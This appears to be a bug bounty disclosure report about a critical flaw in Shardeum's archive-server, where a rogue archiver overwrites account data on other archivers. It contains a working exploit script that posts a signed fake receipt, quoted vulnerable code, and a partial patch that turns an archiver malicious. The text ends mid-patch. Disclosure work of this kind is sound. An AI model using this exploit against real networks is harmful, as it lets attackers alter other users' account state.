Boost _ Shardeum_ Ancillaries 34508 - [Websites and Applications - Critical] Malicious archiver can overwtite account data on any active archiver

Submitted on Wed Aug 14 2024 05:58:21 GMT-0400 (Atlantic Standard Time) by @periniondon630 for Boost | Shardeum: Ancillaries

Report ID: #34508

Report type: Websites and Applications

Report severity: Critical

Target: https://github.com/shardeum/archive-server/tree/dev

Impacts:

  • Taking state-modifying authenticated actions (with or without blockchain state interaction) on behalf of other users without any interaction by that user, such as: Changing registration information, Commenting, Voting, Making trades, Withdrawals, etc.

Description

Brief/Intro

A malicious archiver can connect to the network, become a valid active archiver, and overwrite any user account data across all active archivers, including global accounts.

Vulnerability Details

It is possible to create a malicious archiver based on the archiver-server repository and connect it to the network. There are no restrictions on who can create and connect an archiver to the network. When a malicious archiver is connected, it can initiate a gossip request with a fake receipt ID to the victim archiver. Exploit code:

import axios from 'axios';
import * as core from '@shardus/crypto-utils'
import { Utils as StringUtils } from '@shardus/types'

const TARGET_URL='http://127.0.0.1:4000'
const PRIVATE_KEY='3ea2ee94d1de9ef0e59a08af12aad53375cab0857f73fe243184c6f85edefb39e8a5c26b9e2c3c31eb7c7d73eaed9484374c16d983ce95f3ab18a62521964a94'
const PUBLIC_KEY='e8a5c26b9e2c3c31eb7c7d73eaed9484374c16d983ce95f3ab18a62521964a94'

export function sign(obj) {
  const objCopy = StringUtils.safeJsonParse(core.stringify(obj))
  core.signObj(objCopy, PRIVATE_KEY, PUBLIC_KEY)
  return objCopy
}

async function main(){
        console.log('exploiting archiver-server')
        const txid = process.argv[2]
        core.init('69fa4195670576c0160d660c3be36556ff8d504725be8a59b5a96509e0c994bc')
        let payload = {
                'dataType': 'RECEIPT',
                'data': [{'txId': txid, 'timestamp': 1}],
        }
        payload = sign(payload)
        const r = await axios.post(TARGET_URL + '/gossip-data', payload)
        console.log('success', r.data)
}

main()

The victim archiver will send a request back to the malicious archiver for details about the receipt. Here is the code that sends the request back to the malicious archiver

export const collectMissingReceipts = async (
  senders: string[],
  txId: string,
  txTimestamp: number
): Promise<void> => {
  const txIdList: [string, number][] = [[txId, txTimestamp]]
  let foundTxData = false
  const senderArchivers = State.activeArchivers.filter((archiver) => senders.includes(archiver.publicKey))
  Logger.mainLogger.debug(
    `Collecting missing receipt for txId ${txId} with timestamp ${txTimestamp} from archivers`,
    senderArchivers.map((a) => a.ip + ':' + a.port)
  )
  for (const senderArchiver of senderArchivers) {
    if (
      (processedReceiptsMap.has(txId) && processedReceiptsMap.get(txId) === txTimestamp) ||
      (receiptsInValidationMap.has(txId) && receiptsInValidationMap.get(txId) === txTimestamp)
    ) {
      foundTxData = true
      break
    }
    const receipts = (await queryTxDataFromArchivers(
      senderArchiver,
      DataType.RECEIPT,
      txIdList
    )) as Receipt.Receipt[]
    if (receipts && receipts.length > 0) {
      for (const receipt of receipts) {
        const { receiptId, timestamp } = receipt
        if (txId === receiptId && txTimestamp === timestamp) {
          storeReceiptData([receipt], senderArchiver.ip + ':' + senderArchiver.port, true)
          foundTxData = true
        }
      }
    }
    if (foundTxData) break
  }
  if (!foundTxData) {
    Logger.mainLogger.error(
      `Failed to collect receipt for txId ${txId} with timestamp ${txTimestamp} from archivers ${senders}`
    )
  }
  collectingMissingOriginalTxsMap.delete(txId)
}

If the receipt is valid, the victim archiver will store the receipt in a database by calling the storeReceiptData function. A malicious archiver can craft a receipt payload in a way that will overwrite existing account data. Patch file for the malicious archiver:

diff --git a/src/API.ts b/src/API.ts
index 5335754..795ab09 100644
--- a/src/API.ts
+++ b/src/API.ts
@@ -482,6 +482,7 @@ export function registerRoutes(server: FastifyInstance<Server, IncomingMessage,
 
   server.post('/receipt', async (_request: ReceiptRequest & Request, reply) => {
     const requestData = _request.body
+    console.log('receipt request', requestData)
     const result = validateRequestData(requestData, {
       count: 'n?',
       start: 'n?',
@@ -501,6 +502,76 @@ export function registerRoutes(server: FastifyInstance<Server, IncomingMessage,
     }
     const { count, start, end, startCycle, endCycle, type, page, txId, txIdList } = _request.body
     let receipts: (ReceiptDB.Receipt | ReceiptDB.ReceiptCount)[] | number = []
+    if (txIdList && txIdList.length == 1 && txIdList[0][0].startsWith('hacker')) {
+        const receipt = [{
+    receiptId: txIdList[0][0],
+    timestamp: 1,
+    tx: {
+        txId: txIdList[0][0],
+        timestamp: 1,
+        originalTxData: {}
+    },
+    cycle: 1,
+    beforeStateAccounts: [],
+    accounts: [{
+        accountId: "",
+        cycleNumber: 1,
+        data: {
+            timestamp: 2000000000000,
+            hash: "hash"
+        },
+        timestamp: 2000000000000,
+        hash: "hash",